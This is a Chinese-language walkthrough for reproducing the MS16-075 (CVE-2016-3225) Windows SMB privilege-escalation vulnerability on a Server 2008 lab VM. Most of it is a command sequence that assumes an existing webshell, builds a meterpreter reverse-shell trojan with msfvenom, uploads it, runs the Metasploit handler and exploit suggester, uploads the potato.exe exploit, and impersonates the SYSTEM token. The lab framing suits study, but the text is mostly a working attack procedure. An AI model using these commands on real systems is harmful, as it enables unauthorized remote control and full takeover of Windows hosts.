前言:
ms16-075漏洞介紹:
Windows SMB 服務器特權提升漏洞(CVE漏洞編號:CVE-2016-3225)當攻擊者轉發適用於在同一計算機上運行的其他服務的身份驗證請求時,Microsoft 服務器消息塊 (SMB) 中存在特權提升漏洞,成功利用此漏洞的攻擊者可以使用提升的特權執行任意代碼。若要利用此漏洞,攻擊者首先必須登錄系統。然後,攻擊者可以運行一個爲利用此漏洞而經特殊設計的應用程序,從而控制受影響的系統。此更新通過更正Windows服務器消息塊 (SMB) 服務器處理憑據轉發請求的方式來修復此漏洞。微軟將其定義爲KB3164038,有關該漏洞的詳細介紹請參閱其網頁:https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2016/ms16-075。
漏洞復現:
本地測試環境:
Windows server2008虛擬機
ip地址: 192.168.107.133
假設此時我們已經拿到了當前server2008的webshell權限,通過webshell上傳msf生成的木馬進行反彈shell。
msf生成木馬的命令如下:
msfvenom -p windows/meterpreter_reverse_tcp lhost=攻擊機ip地址 lport=監聽端口 -f exe > shell.exe
將生成的shell.exe木馬通過webshell上傳到目標機器中。
在msf中啓動監聽,命令如下:
use exploit/multi/handler:加載對應的exp模塊
set payload windows/meterpreter_reverse_tcp:設置對應的payload
options:查看當前payload需要的參數
set lhost 攻擊機ip地址(和生成木馬時同步)
set lport 監聽端口(和生成木馬時同步)
run -j:執行監聽
在webshell中將生成的木馬上傳到目標機中,隨後通過cmd執行,不久就可以在msf中看到返回一個session。
sessions 8:進入到session 8的meterpreter中
getuid:查看當前權限
getpid:查看當前進程的pid
getsystem:使用msf中自帶的exp進行權限的提升(基本失敗)
通過msf中自帶的插件來識別當前系統中可以利用的EXP來進行提權。
use multi/recon/local_exploit_suggester
set session 8:加載session 8對應的目標機器
run:執行查看適合提權的EXP
可以看到當前被攻擊機器中可利用的exp有如上圖顯示的這麼多,這裏就拿ms16-075
來進行測試,通過利用發現msf中自帶的ms16-075
的exp利用無法返回session。
故通過GitHub下載ms16-075的exp
。
下載地址:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
下載好了以後,可以通過meterpreter
來進行上傳,也可以通過webshell將exp上傳到目標機器中。
這裏通過meterpreter
中的upload來上傳:
upload /root/potato.exe c:/ 上傳potato.exe到目標機器中的C:/目錄下
然後執行如下命令:
use incognito:加載incoginto功能(用來盜竊目標主機的令牌或是假冒用戶)
list_tokens -u:列出目標主機用戶的可用令牌
execute -cH -f c:/potato.exe :創建新的進程
list_tokens -u :列出目標主機用戶的可用令牌
impersonate_token "NT AUTHORITY\SYSTEM" :假冒目標主機上的可用令牌
提示successfully表示提權成功,此時執行命令:
getuid:查看當前權限
成功提升到system權限。
在meterpreter下執行:
shell:進入到系統終端cmd中
chcp 65001 :設置編碼格式爲utf-8
whoami :查看當前權限